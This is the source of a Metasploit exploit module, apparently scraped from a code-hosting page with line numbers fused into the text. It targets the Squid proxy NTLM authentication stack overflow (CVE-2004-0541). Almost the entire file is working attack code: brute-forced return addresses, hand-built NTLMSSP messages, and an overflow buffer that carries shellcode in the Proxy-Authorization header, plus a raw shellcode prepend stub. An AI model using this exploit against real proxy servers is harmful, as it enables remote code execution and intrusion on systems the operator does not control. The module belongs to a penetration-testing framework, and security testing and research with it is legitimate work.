Path: blob/master/modules/exploits/linux/proxy/squid_ntlm_authenticate.rb
19812 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Brute9include Msf::Exploit::Remote::Tcp1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Squid NTLM Authenticate Overflow',16'Description' => %q{17This is an exploit for Squid\'s NTLM authenticate overflow18(libntlmssp.c). Due to improper bounds checking in19ntlm_check_auth, it is possible to overflow the 'pass'20variable on the stack with user controlled data of a user21defined length. Props to iDEFENSE for the advisory.22},23'Author' => 'skape',24'References' => [25[ 'CVE', '2004-0541'],26[ 'OSVDB', '6791'],27[ 'URL', 'http://www.idefense.com/application/poi/display?id=107'],28[ 'BID', '10500'],29],30'Privileged' => false,31'Payload' => {32'Space' => 256,33'MinNops' => 16,34'Prepend' => "\x31\xc9\xf7\xe1\x8d\x58\x0e\xb0\x30\x41\xcd\x80",35'PrependEncoder' => "\x83\xec\x7f",3637},38'Platform' => %w{linux},39'Targets' => [40[41'Linux Bruteforce',42{43'Platform' => 'linux',44'Bruteforce' =>45{46'Start' => { 'Ret' => 0xbfffcfbc, 'Valid' => 0xbfffcf9c },47'Stop' => { 'Ret' => 0xbffffffc, 'Valid' => 0xbffffffc },48'Step' => 049}50},51],52],53'DisclosureDate' => '2004-06-08',54'DefaultTarget' => 0,55'Notes' => {56'Reliability' => UNKNOWN_RELIABILITY,57'Stability' => UNKNOWN_STABILITY,58'SideEffects' => UNKNOWN_SIDE_EFFECTS59}60)61)6263register_advanced_options(64[65# We must wait 15 seconds between each attempt so as to prevent66# squid from exiting completely after 5 crashes.67OptInt.new('BruteWait', [ false, "Delay between brute force attempts", 15 ]),68]69)70end7172def brute_exploit(addresses)73site = "http://" + rand_text_alpha(rand(128)) + ".com"7475print_status("Trying 0x#{"%.8x" % addresses['Ret']}...")76connect7778trasnmit_negotiate(site)79transmit_authenticate(site, addresses)8081handler82disconnect83end8485def trasnmit_negotiate(site)86negotiate =87"NTLMSSP\x00" + # NTLMSSP identifier88"\x01\x00\x00\x00" + # NTLMSSP_NEGOTIATE89"\x07\x00\xb2\x07" + # flags90"\x01\x00\x09\x00" + # workgroup len/max (1)91"\x01\x00\x00\x00" + # workgroup offset (1)92"\x01\x00\x03\x00" + # workstation len/max (1)93"\x01\x00\x00\x00" # workstation offset (1)9495print_status("Sending NTLMSSP_NEGOTIATE (#{negotiate.length} bytes)")96req =97"GET #{site} HTTP/1.1\r\n" +98"Proxy-Connection: Keep-Alive\r\n" +99"Proxy-Authorization: NTLM #{Rex::Text.encode_base64(negotiate)}\r\n" +100"\r\n"101sock.put(req)102end103104def transmit_authenticate(site, addresses)105overflow =106rand_text_alphanumeric(0x20) +107[addresses['Ret']].pack('V') +108[addresses['Valid']].pack('V') +109"\xff\x00\x00\x00"110shellcode = payload.encoded111pass_len = [overflow.length + shellcode.length].pack('v')112authenticate =113"NTLMSSP\x00" + # NTLMSSP identifier114"\x03\x00\x00\x00" + # NTLMSSP_AUTHENTICATE115pass_len + pass_len + # lanman response len/max116"\x38\x00\x00\x00" + # lanman response offset (56)117"\x01\x00\x01\x00" + # nt response len/max (1)118"\x01\x00\x00\x00" + # nt response offset (1)119"\x01\x00\x01\x00" + # domain name len/max (1)120"\x01\x00\x00\x00" + # domain name offset (1)121"\x01\x00\x01\x00" + # user name (1)122"\x01\x00\x00\x00" + # user name offset (1)123"\x00\x00\x00\x00" + # session key124"\x8b\x00\x00\x00" + # session key125"\x06\x82\x00\x02" + # flags126overflow + shellcode127128print_status("Sending NTLMSSP_AUTHENTICATE (#{authenticate.length} bytes)")129req =130"GET #{site} HTTP/1.1\r\n" +131"Proxy-Connection: Keep-Alive\r\n" +132"Proxy-Authorization: NTLM #{Rex::Text.encode_base64(authenticate)}\r\n" +133"\r\n"134sock.put(req)135end136end137138139